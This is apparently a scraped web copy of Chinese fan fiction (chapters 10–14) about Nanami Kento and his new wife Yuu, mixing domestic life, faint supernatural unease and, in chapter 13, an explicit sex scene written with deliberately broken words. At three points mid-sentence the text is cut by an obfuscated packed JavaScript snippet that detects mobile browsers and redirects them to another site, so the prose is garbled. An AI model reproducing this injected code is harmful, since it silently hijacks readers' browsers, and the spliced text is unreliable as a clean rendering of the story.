“我回来了。”他说,声音比平时低沉柔和。 悠在他怀里蹭了蹭,然后才松开,眼睛亮亮地看着他:“辛苦啦!饿了吧?晚饭一直温着呢,我去端出来!快去洗手换衣服!” 七海“嗯”了一声,看着她的背影轻快地跑进厨房。 玄关的灯光暖黄,空气里有食物的香气,还有她刚才拥抱时留下的、淡淡的香气。 这就是家。 他想。 晚餐是咖喱鸡肉饭和蔬菜沙拉,还有一直温在灶台上的味噌汤。 悠坐在他对面,双手托腮看他吃饭,时不时问一句“味道怎么样?”“要不要再加点饭?” “顺平下午来写了作业,四点多走的。”悠说,“这孩子好像把我的漫画都看了,问了好多问题。还说最喜欢《回响》那个故事。” “《回响》?”七海抬起眼。 “嗯,就是主角在墙壁里发现皮球和指骨的那个。”悠的语气很平常,“顺平说那个故事最让他感到‘真实的不安’。这孩子……对这类氛围真的很敏感。” 七海安静地吃着咖喱。 鸡肉炖得酥烂,土豆和胡萝卜入味,米饭煮得恰到好处。 他吃得比平时慢一些,享受这段不必思考工作、不必保持社交距离的纯粹时光。 “明天还要去公司吗?”悠问。 “上午去,下午回来。”七海说,“课长希望周末加班,我拒绝了。” “拒绝得好!”悠立刻说,眼睛弯成月牙,“周末就应该休息嘛!那我们明天下午去超市?冰箱需要补货了。晚上……看电影好不好?我保证不看恐怖片!”她竖起三根手指做发誓状。 七海看着她认真的表情,嘴角几不可察地向上弯了一毫米。“好。” 吃完饭,七海主动收拾碗筷。 悠跟到厨房门口,看着他洗碗时挺拔的背影和一丝不苟的侧脸。 “七海海。” “嗯?” “虽然加班很讨厌,”悠的声音轻轻的,带着笑意,“但是每天早晨给你做便当,晚上等你回家……这种感觉,我很喜欢。这就是我们两个人的生活了呢。” 七海冲洗盘子的水流声停顿了一秒。 他没有回头,但耳廓在厨房灯光下又泛起了淡淡的红色。 “……嗯。”良久,他才低低应了一声。 深夜,万籁俱寂。 七海在黑暗中醒来。 不是被声音吵醒,而是一种对“视线”的本能警觉。 他睁开眼,没有动。 卧室门关着,窗帘拉紧,只有极其微弱的光线从缝隙透入。 一切都安静得正常。 但那种被注视着的感觉,若有若无。 不是来自门外,也不是来自窗外。更像是……来自房间本身。 来自墙壁,来自天花板,来自他们躺着的这张床所依靠的那面墙的内部。 七海静静地躺着,呼吸平稳。 他能感觉到身边的悠睡得很沉,温热均匀的呼吸拂过他的手臂。 大约一分钟后,那感觉消失了。 七海重新闭上眼睛。 明天是周六。 上午去公司处理完必要的工作,下午和悠去超市,晚上看电影。 普通的新婚周末。 他侧过身,将悠揽进怀里。悠在睡梦中无意识地贴近他,发出满足的叹息。 11. 超市 周六早晨,七海建人在规律生物钟的召唤下准时醒来。 晨光尚未完全浸透窗帘,卧室里一片静谧的昏灰。 他维持着平躺的姿势,花了三秒钟确认今日日程:上午九点前需抵达公司,完成项目数据核对;预计十二点结束工作;下午及晚上无安排,已承诺与悠一同采购并度过周末时光。 然后他才侧过头。 悠背对着他蜷缩在床的另一侧,薄被滑到腰间,黑色的长发散乱在枕上,随着呼吸微微起伏。 她的睡姿在无人打扰时反而显得收敛——只是占据自己那半边床,背脊微微弓起,像一个缺乏安全感的姿势。 七海静静看了她几秒,然后掀开被子,悄无声息地起身。 赤脚踩在木地板上的触感微凉,他走向浴室时没有开灯,仅凭记忆和窗外透入的微光行动。 洗漱完毕,他换上熨烫平整的浅灰色衬衫和深色西装裤。 周末加班无需打领带,这算是微小的慰藉。 七点整,当他从卧室走出时,厨房的灯已经亮了。 悠穿着那件过大的白色T恤和棉质睡裤,正背对着他站在料理台前,黑发松松地束在脑后。 煤气灶上烧着水,平底锅里传来煎蛋的滋滋声。 “吵醒你了?”七海问。 他放轻了脚步,但老旧的木地板还是会发出细微声响。 “没有,自己醒的。”悠头也不回,声音还带着晨起的微哑,“培根煎蛋三明治,可以吗?很快就好。” “可以。”七海走向客厅,开始他晨间的例行清洁。 吸尘器的嗡鸣声在安静的早晨显得格外清晰。 等他完成了地面和主要表面的清洁,将吸尘器收回储物间时,厨房传来盘子轻放在餐桌上的声音。 七点左右,两人面对面坐在餐桌前。 悠做的三明治很扎实——烤过的吐司、煎得焦香的培根、完美的太阳蛋,夹着生菜和番茄片。 旁边还摆着两杯刚泡好的黑咖啡。 “便当。”悠将一个深蓝色的便当袋推到他面前,眼睛在晨光下闪着狡黠的光,“今天也有惊喜哦。还是老规矩,中午才能打开。” 七海看着那个被仔细束紧的袋子。新婚第二周的周六,而他要去加班。 “谢谢。”他说,声音比平时更低沉一些。 “不客气呀。”悠托着腮看他,嘴角弯起柔软的弧度,“不过七海海今天要早点回来哦。说好了下午一起去超市的。” “十二点前应该能结束。”七海咬了一口三明治。 培根的咸香、煎蛋的柔滑、烤吐司的酥脆,还有番茄清新的酸味,在口腔里形成恰到好处的平衡。 比便利店的三明治好太多。 “那我在家等你。”悠说,然后像是想起什么,站起身,“对了,出门前——” 她绕过餐桌走到他身边,很自然地俯身,在他脸颊上亲了一下。 柔软的触感,带着咖啡的微苦香气。 七海的动作停顿了半秒,脸颊在晨光中泛起极淡的红。 “……我出门了。”他拿起便当袋和公文包。 “一路平安!”悠送他到玄关,看着他穿好皮鞋,“工作加油!但是也别太勉强哦!” 七海点了点头,推门离开。 门在身后关上的瞬间,他听见悠轻快的脚步声跑回屋内,大概是去收拾餐桌了。 他站在电梯里,看着金属门上映出的自己:金发一丝不苟,衬衫平整,手里提着装有“神秘惊喜”便当的袋子。一个标准的、周末需要加班的上班族形象。 电梯下行时发出老旧的嗡鸣声。在抵达一楼的“叮”声响起前,七海极轻地、几乎无声地说了一句: “……狗屎。” 丸之内的写字楼在周六上午呈现出与工作日迥异的气氛。 大厅空旷,电梯无需等待,办公区只有零星几个加班的身影,空气里弥漫着一种被迫营业的沉闷感。 七海的项目组有三人到场,包括课长。 数据核对比预想的复杂,原定十二点结束的工作,在十一点时就已经显露出延长的迹象。 “这部分交叉验证还需要时间。”课长指着屏幕上的表格,眉头紧锁,“七海君,你能再核对一下B系列的数据源吗?我总觉得这里的环比数据有问题。” 七海看了一眼手表:十一点十分。他推了推眼镜,声音平稳无波:“这部分数据昨天已经核对过三次,误差率在允许范围内。如果继续深究,今天下午无法完成。” 课长张了张嘴,似乎想说什么,但最终叹了口气:“……好吧。那先按现有数据完成报告初稿。周一上午我们再开碰头会。” 十一点四十分,七海保存了最后一份文档。 他关闭电脑,提起公文包和便当袋,对还在忙碌的同事微微颔首,转身离开。 午休时间的办公室空无一人。 七海没有去员工休息室,而是走向靠近消防楼梯的禁烟区——那里周末通常无人使用。 他推开沉重的防火门,在楼梯间的窗台边停下。 窗外是周六午间的东京,阳光正好,街道上的行人和车辆都比工作日稀疏,透出一种慵懒的节奏。 七海放下公文包,解开便当袋的束口。 今天的便当盒是黑色的双层漆器。打开上盖,他勾起了嘴角。 米饭被塑形成了一只蹲坐着的、圆滚滚的柴犬形状。 柴犬的眼睛和鼻子是海苔片,耳朵是煎蛋皮,脖子上还用胡萝卜片刻了一个歪歪扭扭的项圈。 配菜格里是照烧鸡肉、焯水秋葵和腌渍小番茄,摆盘精致得像料理店的定食。 柴犬的爪子下面,压着一小片剪成骨头形状的芝士。 七海盯着这只柴犬饭团,足足五秒钟没有动作。 脸上的温度诚实地开始攀升。 从袋子里拿出那张便签纸。 悠圆滚滚的字迹: “给周末还要加班的世界上最靠谱的七海海! 柴犬君说:‘早点回家哦!’ 下午超市见!(?ω?) ——等你回来的悠” 右下角还是那个小小的蘑菇笑脸。 七海仔细的叠好收进西装内袋。 然后拿起筷子,认真缓慢地将柴犬饭团“解体”,混着照烧鸡肉一起送入口中。 味道无可挑剔。照烧鸡肉酱汁浓郁,秋葵清爽,小番茄酸甜开胃。 他吃得很慢。 收拾好餐盒时,楼梯间下方的某层,忽然传来极其轻微的、像是小孩子跑跳的脚步声——啪嗒、啪嗒,快速而轻盈,转瞬即逝。 七海的动作停顿,侧耳倾听。 再无声音。只有大楼本身细微的嗡鸣,和远处街道隐约的车流声。 他推了推眼镜,将便当袋收好,提起公文包。 也许只是其他楼层加班的人,或者清洁人员。 周末的大楼,有些异常声响也正常。 下午,七海推开家门。 “欢迎回来!”悠几乎是立刻从客厅跑过来,脸上带着毫不掩饰的开心,“好早!比预想的还早!” “嗯。”七海在玄关换鞋,悠已经自然地上前接过他的公文包和便当袋。 “便当吃完了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154059|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?柴犬君可爱吗?”她眼睛亮晶晶地问。 “……吃完了。”七海避开了后一个问题,“味道很好,谢谢。” 悠满意地笑了,然后张开手臂抱住他。 “辛苦了。”她的声音闷在他衬衫里。 “还好。”七海说。事实上,加班就是狗屎,但此刻这个拥抱,让那坨狗屎似乎也没那么难以忍受了。 “那我们去超市吧!”悠松开他,眼睛弯成月牙,“我列了清单,下午超市人应该不多。买完东西回来,晚上我们可以看电影!我租了新的碟片,保证不是恐怖片!”她竖起三根手指发誓。 七海看着她认真的表情,嘴角几不可察地向上弯了一毫米。“好。” 等两人走出公寓楼。 周六午后的社区比早晨更加慵懒,阳光炽烈,蝉鸣声从行道树上传来,带着初夏特有的燥热感。 “牛肉、土豆、胡萝卜、洋葱……”悠挽着七海的手臂,另一只手拿着清单念念有词,“啊,还有牛奶和鸡蛋。家里的清洁剂也快用完了。七海海有什么特别想吃的吗?” “暂时没有特别的想法。”七海回答。他的目光扫过社区公告栏——那张泛黄的“儿童绘画比赛”海报还在那里,纸张边缘又卷曲了些,画上的太阳笑脸被不知名的污渍晕染了一角,让那个笑容显得扭曲而诡异。 “那就买点排骨炖汤吧,周末喝汤最舒服了。”悠说,拉着他往前走,“啊,还有咖啡豆!你喜欢的那个牌子今天应该有特价……” 社区超市距离公寓步行约十分钟。 周六下午的顾客比上午少些,大多是零星的主妇和出来采购的老年人。 七海推着购物车,跟在悠身后,看着她熟练地在货架间穿梭,拿起特价商品。 “七海海,你看这个!”悠举着一盒印有卡通猫咪图案的布丁跑回来,“新出的口味!买来当饭后甜点好不好?” “……可以的。”七海看着包装上那只眯眼笑的猫咪,想起中午便当盒里的柴犬饭团,耳根又开始发热。 就在这时,超市的广播响了起来。 “……各位顾客下午好……今日特价商品:鲜牛奶、国产牛肉、富士苹果……请大家有序购物……滋滋……注意……滋滋……安全……” 广播信号似乎受到了干扰,夹杂着刺耳的电流声。 七海抬起头,看向悬挂在天花板的扬声器。 周围的顾客似乎都没注意到异常,依然专注地挑选商品。 “七海海?”悠已经把布丁放进购物车,“怎么了?” “……没什么。”七海收回视线。 但他们走到生鲜区时,那种微妙的违和感再次出现。 冷藏柜巨大的玻璃门上,倒映出整个生鲜区的景象——推着购物车的顾客、穿着围裙的店员、堆成小山的水果蔬菜。 以及在七海自己的倒影身后,那个矮小的、模糊的轮廓。 这一次,轮廓清晰了一些。 像是一个孩子的身形,穿着深色的衣服,站在距离他三步远的货架旁,面朝着他的方向。 七海猛地回头。 身后只有一位正在挑选酸奶的老先生,和一对低声讨论晚餐食谱的中年夫妇。 没有孩子。 “……七海海?”悠疑惑地看着他。 “没事。”七海推了推眼镜,重新转回身。玻璃门上只有他们两人的倒影,清晰正常。 也许真的是最近加班太多,精神疲劳导致的视觉错觉。 或者,只是玻璃反射的角度问题。 七海这样告诉自己,但身体本能的警戒级别,无声地调高了一档。 12. 警觉 “哎呀,七海太太!” 在收银台排队时,熟悉的声音从旁边传来。 中村太太推着购物车,正朝他们挥手。她身边是那位面色严肃的主妇,还有一位悠没见过、看起来六十多岁的瘦削老人。 “中村太太,下午好。”悠微笑着打招呼。 “下午好下午好!和先生一起来采购啊,真恩爱!”中村太太笑眯眯地说,然后又压低声音,“对了,你们听说了吗?昨天晚上社区公园那边……” 她的话没说完,那位严肃的主妇就用力咳嗽了一声,眼神带着警告。 中村太太立刻住了嘴,尴尬地笑了笑:“啊,没什么没什么……就是公园的秋千,好像有点松了,提醒大家注意安全……” 悠眨了眨眼,露出困惑但礼貌的表情:“这样啊,谢谢您提醒。” 七海站在悠身后,目光平静地扫过中村太太和她身旁的两人。 那位严肃的主妇避开了他的视线,转身去整理购物车里的商品。 而那位瘦削的老人,却直直地看着他,眼神浑浊而锐利,嘴唇无声地翕动着,像是在念叨什么。 “那位是住四楼的铃木老先生。”悠小声对七海说,“听说以前是小学老师,退休很多年了,一个人住。中村太太说他有点……嗯,不太喜欢和人打交道。” 七海点了点头,没再往那边看。 但那种被注视的感觉并没有消失——不是来自铃木老先生,而是更模糊、更分散的,仿佛来自超市的各个角落。 收银员机械地扫描着商品,发出“嘀、嘀”的声响。 就在七海将最后一件商品——那盒猫咪布丁——放到传送带上时,超市的照明灯忽然闪烁了一下。 非常短暂,不到半秒。 但整个超市陷入黑暗又恢复光明的瞬间,七海眼角的余光捕捉到,在靠近出口的货架阴影里,那个矮小的轮廓似乎又出现了。 这一次,它似乎在招手。 “咦?刚才是不是闪了一下?”悠抬头看了看天花板。 “电压不稳吧。”七海说,拿出钱包付款。他的动作平稳如常,但接过购物袋时,手指的力道比平时更紧。 走出超市时,下午的阳光刺眼而炽烈。 七海提着两个满满的购物袋,悠抱着那盒猫咪布丁,像抱着什么宝贝。 “晚上看哪部电影好呢……”悠已经开始计划晚上的安排,“我租了两部,一部爱情片,一部喜剧片。七海海想看哪个?” “我都可以。”七海说。 他的目光扫过街对面的社区公园——秋千在午后的微风里轻轻晃动,其中一架秋千的座位上,隐约可见一个小小的、深色的手掌印,像是被什么湿润的东西按上去的。 “那就先看喜剧片吧!”悠做了决定,“轻松一点。啊,对了,晚饭就做牛肉炖菜吧?买到了很不错的牛肉呢……” 她继续说着晚餐的计划,声音轻快而充满期待。 七海安静地听着,提着购物袋的手稳稳的。 在他们身后,超市的自动门缓缓关闭,将那些货架的阴影、闪烁的灯光、和若有若无的注视,都隔绝在了玻璃门内。 周六下午两点十五分,阳光正好,蝉鸣正盛。 这是个普通的、新婚夫妇采购归家的午后。 理应如此。 晚餐的牛肉炖菜非常成功。 牛肉炖得酥烂入味,土豆和胡萝卜吸饱了汤汁,悠还特意加了红酒,让整道菜带着馥郁的香气。 两人坐在餐桌前,就着热腾腾的白米饭,安静地享用周末的晚餐。 “顺平下周三放学后可能会再来。”悠说,“他妈妈下周排了好几个夜班。” “嗯。”七海应了一声。 他对那个安静内向的少年没有恶感,甚至能察觉到他身上某种模糊的、类似于“灵感”的气质——这在咒术师的世界里,通常意味着潜在的“窗”或者更低概率的“术师”资质。 但在这个他刻意维持的“普通世界”里,这些都只是无关紧要的细节。 “这孩子好像真的很喜欢恐怖故事。”悠托着腮,用勺子搅动着碗里的汤汁,“上次还问我,有没有听过我们这栋公寓的‘怪谈’。” 七海抬起眼:“你怎么回答?” “我说老房子都有些自己的传说啦,但都是人们编的故事。”悠笑了笑,“他还问我相不相信幽灵存在。我说‘信则有,不信则无’——很标准的敷衍答案,对吧?” 七海看着她。 悠的表情很自然,黑眼睛在餐厅灯光下清澈见底,看不出任何异样。 但他想起她在超市对中村太太话题的应对,那种恰到好处的困惑和礼貌,完美得像排练过的社交剧本。 “你做得很好。”他说。 悠眨了眨眼,然后笑了:“因为我不想吓到孩子嘛。而且……”她放下勺子,身体微微前倾,压低声音做出神秘兮兮的表情,“就算真的有,只要它们不打扰我们过日子,就当是多了一个安静的邻居咯。” 这句话说得轻巧随意,像是个玩笑。 但七海看着她眼中一闪而过的、某种近乎认真的神色,心中某处微微一动。 晚饭后,七海负责洗碗,悠去准备看电影的零食——爆米花、那盒猫咪布丁,还有冰镇的麦茶。 两人窝在沙发上,窗帘拉上,投影仪的光束在对面墙壁上投出明亮的画面。 是一部老式的浪漫喜剧,情节轻松,笑点不断。 悠看得津津有味,时不时被逗笑,身体微微颤抖。 七海靠在沙发靠背上,手臂自然地环着她的肩膀,注意力一半在电影上,一半在怀中人的温度和重量上。 电影放到一半时,悠忽然小声说:“七海海。” “嗯?” “你下午在超市……是不是看到了什么?” 七海的动作停顿了半秒。悠没有抬头,依然看着屏幕,仿佛只是随口一问。 “……为什么这么问?”他反问,声音平稳。 “就是感觉。”悠往他怀里缩了缩,“你那时候,身体绷紧了一瞬间。虽然很快放松了,但我注意到了。” 七海沉默了几秒。他没想到悠的观察这么敏锐。 “可能是最近加班多,有点疲劳。”他最终说,选择了最合理的解释,“看错了。” “是吗……”悠的声音很轻,然后她抬起头,在昏暗的光线里看着他,“那七海海要好好休息哦。周末就是用来休息的。” 她的眼睛在屏幕反光中闪烁着微光,里面有关切,有温柔,还有一种七海暂时无法完全解读的东西。 “嗯。”他应了一声,低头在她额头上吻了一下。 悠满足地哼了一声,重新靠回他怀里。电影继续播放,男女主角在雨中的车站重逢,音乐煽情,台词感人。 但在某个安静的间隙,七海听见了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154060|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >很轻很轻的声音,从客厅的墙壁深处传来——不是敲击,不是摩擦,更像是……叹息。悠长的、带着某种湿润质感的叹息,转瞬即逝。 悠似乎没有听见,她的呼吸平稳,目光专注地盯着屏幕。 七海维持着原来的姿势,手臂环着她,目光落在投影的画面上。他的表情没有任何变化,心跳平稳,呼吸均匀。 只是他的另一只手,在沙发靠垫的阴影里,无声地握紧了。 电影在十点前结束。 悠已经有些困了,揉着眼睛说要去洗澡。七海收拾了零食和饮料,关掉投影仪,客厅重新陷入黑暗。 他站在客厅中央,没有立刻开灯。 月光从阳台窗帘的缝隙透入,在地板上投下冷清的光带。 公寓很安静,只有浴室传来的隐约水声,和远处街道上偶尔驶过的车声。 那种被注视的感觉又出现了。 这一次,它来自客厅的电视墙。 七海缓缓转过身,面向那片在黑暗中只是一个模糊轮廓的墙壁。 什么都没有。 只有月光,阴影,和寂静。 他站了大约一分钟,然后走向浴室门口,靠在墙边等待。 浴室的水声停了,传来窸窸窣窣的穿衣声。 几分钟后,门打开,悠擦着湿漉漉的头发走出来,看到他一愣:“七海海?怎么了?” “没什么。”七海说,接过她手里的毛巾,“去卧室吧,我帮你擦头发。” 悠的眼睛在走廊昏暗的灯光下弯起来:“好呀。” 深夜十一点,两人躺在床上。 悠的头发已经半干,散发着洗发水的花果香气。 她蜷缩在七海身边,手搭在他腰间,很快就睡着了。 七海在黑暗中睁着眼睛。 墙壁深处的叹息声没有再出现。那种被注视的感觉也消失了。 一切都安静正常。 但他知道,那不是错觉。 咒术师的本能,那些在生死边缘磨砺出的感知,不会骗他。 这个公寓,这个社区,存在着某种“东西”。它隐晦,它模糊,它尚未展现出明确的恶意——至少目前没有。 他侧过身,将悠搂进怀里。 他选择了远离咒术界的疯狂与非人,选择了规律的上班族生活,选择了这个在晨光中为他做便当、在傍晚等他回家拥抱、在深夜安然睡在他怀里的悠。 这个选择意味着,他必须忍受“狗屎一样”的加班,必须在这个并不全然正常的世界里,扮演一个尽可能正常的丈夫。 也意味着,他必须守护这份刚刚建立起来的、脆弱的日常。 墙壁深处的注视?超市倒影里的轮廓?邻居欲言又止的传闻? 只要它们不越过那条线——那条威胁到他怀中这个温暖存在的线——他都可以暂时容忍,观察,评估。 毕竟,他现在最重要的任务,不是祓除咒灵,不是分析数据,甚至不是攒钱移居海外。 而是守护这个,名为“家”的平凡日常。 即使这日常的表层之下,已经开始泛起细微的、几乎看不见的涟漪。 七海闭上眼睛,将脸埋进悠带着香气的黑发里。 明天是周日。 没有加班,没有访客,没有必须处理的杂务。 只是个普通的、新婚夫妇共度的周日。 他希望如此。 --- 13. 周日的缝隙 七海意识尚未完全清醒,身体先一步感知到了那熟悉的气息——悠整个人蜷在他身侧,脸颊贴着他肩胛,一只手正无意识地搭在他腰间,指尖隔着睡衣布料轻轻摩挲。 她的呼吸均匀绵长,带着睡眠特有的暖意,一下下拂过他颈侧皮肤。 七海没有立刻睁眼,只是静静感受着怀中人的重量和温度。 新婚第二周,他已经逐渐习惯了这种醒来时身边有另一个人的感觉——不再是一片空荡,不再只有自己规律的呼吸声。 悠在睡梦中动了动,那只搭在他腰间的手滑进了睡衣下摆,温热的掌心毫无阻隔地贴上他腹/肌的皮肤。 七海几不可察地绷紧了一瞬。 “唔……”悠发出一声模糊的咕哝,脸在他肩窝蹭了蹭,睫毛扫过他,痒痒的。 那只手却没有收回去,反而顺着肌肉线条缓缓上移,指尖若有似无地划过他熊//扣。 “……悠。”七海低声开口,声音带着刚醒的沙哑。 “嗯……”她闭着眼应声,听起来还没完全清醒,但手/上作怪的动/作却没停。 她的手指在他兄//前探索着,慢慢摸向更离谱的位置。 七海抓住了她的手腕。 悠这才半睁开眼,黑色的眸子里还蒙着一层水汽。“……七海海醒了呀。”她的声音黏糊糊的,带着刚睡醒的慵懒,“早安。” “……早安。”七海看着她,没有松开手,“你在做什么?” “取暖呀。”悠理所当然地说,试着挣了挣手腕,没挣开,索性整个人贴上来,腿也缠上他的,“七海海身上好暖和……像暖宝宝。” 领口过大的棉质睡裙——在动作中滑下一边肩带,露出白皙的肩颈和锁骨。 那些印记在昏暗中若隐若现,每一处七海都记得是怎么留下的。 “现在已经是六月了。”七海冷静地指出,手指却轻轻摩挲着她手腕内侧细腻的皮肤。 “那就是人体空调?”悠歪着头,黑发从肩头滑落,“反正就是很舒服嘛。” 她说着,忽然用力一挣,这次七海松了手。 悠顺势翻身跨坐到他\腰上,双手撑在他胸口,俯身看他。 睡裙的下摆因为这个动作滑到大腿/根\部,露出大片光//洁的皮肤。 “而且,”她压低声音,眼睛亮得像星星,“早上的七海海……特别好闻。是‘七海海限定’的味道。” 七海仰躺着看她,金发散乱在枕上,眼镜还放在床头柜,这让他看起来比平日少了几分严肃,多了些慵懒的/兴/感。 他放在她腰侧的手缓缓收紧,另一只手抬起来,将她颊边滑落的发丝别到耳后。 “你今天醒得格外早。”他说,指尖轻轻擦过她耳廓。 悠的耳朵敏感地颤了颤。“因为做了梦……”她小声说,手指开始解他睡衣的纽扣,“梦到七海海了……然后就想,醒来一定要马上见到你。” 第一颗纽扣解开,然后是第二颗。 七海的/胸/膛随着呼吸平稳起伏,肌肉线条在晨光中投下兴/感的阴影。 悠的指尖划过那些肌理,最后停在他心口的位置。 “七海海的心跳……变快了。”她抬起眼看他,嘴角弯起一个得逞的弧度。 七海没有否认。 他的手从她/要//侧滑向大//推,温热的掌心贴着她细腻的皮肤,缓缓上移。 “你故意的。”他低声说,声音里带着克制的暗哑。 “才没有——”悠的话被一个翻身打断了。 天旋地转间,两人的位置已经调换。 七海撑在她上方,金发垂落,在两人之间形成一个私/秘\的阴影空间。 悠眨眨眼,看着他近在咫尺的脸,然后笑了,伸手环住他的脖子。 “这样也行。”她小声说,仰头去吻他的下巴,“反正我要早安吻。” 七海低头吻住了她。 这个吻不像平时那么克制。 他撬开她的齿关,/舌\/尖长驱直入,带着不容置疑的占有。 悠发出一声短促的轻哼,手指插进他微湿的金发里,用力回应。 晨光在房间里缓慢移动,从灰蓝变成淡金。 睡衣被/柔\/皱,睡裙被/推/高,呼吸声逐渐粗//中。 七海的手顺着她大腿的曲线滑向\\下面\\\,指尖触碰,悠的身体明显颤了颤。 “七海海……”她的声音已经软得不成样子,“现在是早上……” “我知道。”七海在她耳边说,吻着她的耳垂,“你起的头。” “可是……” “没有可是。”他的手//止缓缓推进,感受着她的紧梭和忏/斗,“上周平均次数是三点五次。今天补上周末的量。” 悠的耳朵瞬间红了。 她没想到七海连这个都记——而且是用那么一本正经的语气说出这种话。 “你、你怎么还统计这个……” “有助于合理安排。”七海面不改色地说,另一只手已经/结\开了她睡裙的系带,“而且,昨晚你故意在我处理邮件时穿那件新睡裙晃来晃去——我记得。” 悠张了张嘴,想反驳,但七海的手指在这时找到了某个点,让她把话咽了回去,变成了破碎的川/西。 “所以,”七海低头吻了吻她汗湿的额头,“今天早上,你要负责。” 接下来的时间里,悠确实“负责”了——或者说,被“负责”了。 七海的动作比平时更慢,更磨人,每一个处/朋都带着刻意的了/拨。 他太清楚她身体的点,太知道怎么让她失控。 当悠终于哭着求饶,小声喊着“老公大人我错了”的时候,七海才放过她,给了她最后的视/房。 晨光已经大亮,透过窗帘洒在床上。 悠瘫软在七海怀里,全身都是汗,脸颊绯红,黑发黏在颈边。 七海的手臂环着她,有一下没一下地抚摸着她的背/脊,帮她平复呼吸。 “……坏心眼。”悠闷在他胸口,声音还带着/事//后的沙哑,“七海海越来越坏了。” “跟你学的。”七海平静地说,指尖卷起她一缕湿发把玩。 悠抬起头,瞪他——但这个瞪眼没什么威慑力,反而因为眼角的朝//洪显得格外诱人。 七海低头亲了亲她的额头。 “还早,”他说,“再睡一会儿。今天周日。” 悠在他怀里找了个舒服的姿势,很快又昏昏欲睡。 临睡着前,她含糊地说:“……早饭要吃什么……” “我来做。”七海说,“睡吧。” 悠安心地闭上了眼睛。 七海看着她沉静的睡颜,手指轻轻描摹她脸颊的轮廓。 这就是他选择的生活。 早晨有温存,白天有陪伴,晚上有归处。 即使要忍受“狗屎一样”的加班,即使要在这个并不全然正常的世界里维持表面的平静。 但只要怀里这个人安然无恙,一切就都值得。 早餐是10点多才吃的。 七海做了简单的培根煎蛋和吐司,还煮了咖啡。 悠穿着他的衬衫当家居服,广//着腿坐在餐桌前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154061|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发随意地扎着,颈/侧和锁/骨上新鲜的痕级在晨光中格外显眼。 “下午要做什么?”悠咬着吐司问,“天气这么好,总待在家里浪费了。” 七海递给她一杯咖啡。“你有什么想法?” “嗯……”悠托着腮思考,“附近有个小美术馆,这周好像有新的展览。或者……去书店?我想找点新的灵感。” “都可以。”七海说,“下午三点前回来就行,我有些工作邮件要处理。” “好呀。”悠笑了,眼睛弯起来,“那就先去美术馆,然后去书店,最后去超市买晚饭的食材——完美计划!” 七海看着她亮晶晶的眼睛,嘴角几不可察地向上弯了弯。“嗯。” 上午的时间在慵懒中度过。 七海整理了一下书房的文件,悠则窝在沙发上看新到的漫画杂志。 偶尔七海从书房出来倒水,会看到她专注的侧脸——眉头微蹙,嘴唇抿紧,手指无意识地在杂志边缘轻轻敲击。 十一点左右,门铃响了。 这次不是邻居,是快递员,送来了悠网购的新数位板和几本画材。 签收时,快递员多看了七海几眼,眼神里带着某种欲言又止的探究。 “那个……”快递员犹豫了一下,“您是这家的住户吗?” “是。”七海简短地回答。 “哦……抱歉,就是确认一下。”快递员挠挠头,“因为之前这户好像很久没人住了……而且最近这片区,听说有点……”他没说完,摇摇头,“算了,当我没说。祝您生活愉快!” 快递员匆匆离开后,七海关上门,看向正在拆包裹的悠。 “他刚才的话,你听到了吗?”七海问。 悠正小心翼翼地拆着数位板的包装,头也不抬:“嗯?什么话?” “……没什么。”七海说。也许是他多心了。 但中午两人出门时,那种微妙的违和感又出现了。 在电梯里,他们遇到了三楼的山下太太——一位六十多岁、总是笑眯眯的独居老人。 但今天的山下太太看起来脸色苍白,眼下有浓重的黑眼圈。 “七海太太,七海先生,出门呀?”山下太太勉强笑着打招呼。 “是的,山下太太,您还好吗?看起来有点累。”悠关切地问。 “啊……没什么,就是最近睡不太好。”山下太太的眼神有些闪烁,“晚上总听到些声音……可能是我年纪大了,耳朵出问题了吧。” 电梯抵达一楼。山下太太匆匆道别离开,脚步有些踉跄。 走出公寓楼时,悠轻声说:“这已经是第三个了。” 七海看向她。“第三个?” “说听到怪声音的邻居。”悠挽住他的手臂,“楼下502的佐藤先生,四楼的铃木老先生,现在又加上山下太太。而且……”她顿了顿,“他们说的声音,好像都跟孩子有关。” 七海沉默了几秒。“你觉得是什么?” 悠抬起头,阳光照在她脸上,那双纯黑的眼睛里映着天空的颜色。 “我不知道。但我觉得……它不是恶意的。只是很孤独,很想让人注意到它。” 她说这话的语气很平静,就像在陈述一个再普通不过的事实。 七海看着她,心中那根一直紧绷的弦,又松了一点点。 也许悠的感知,和他所熟悉的咒灵的气息,真的是不同的东西。 也许她真的只是太善良,太敏感,才会对这些模糊的异常产生共情。 “走吧。”七海握紧了她的手,“美术馆的展览一点开始,再不走要迟到了。” 14. 奇怪的反应 美术馆的展览是关于“昭和时代的日常生活”。 老照片、旧海报、复古的家居用品,勾勒出一个已经逝去的时代轮廓。 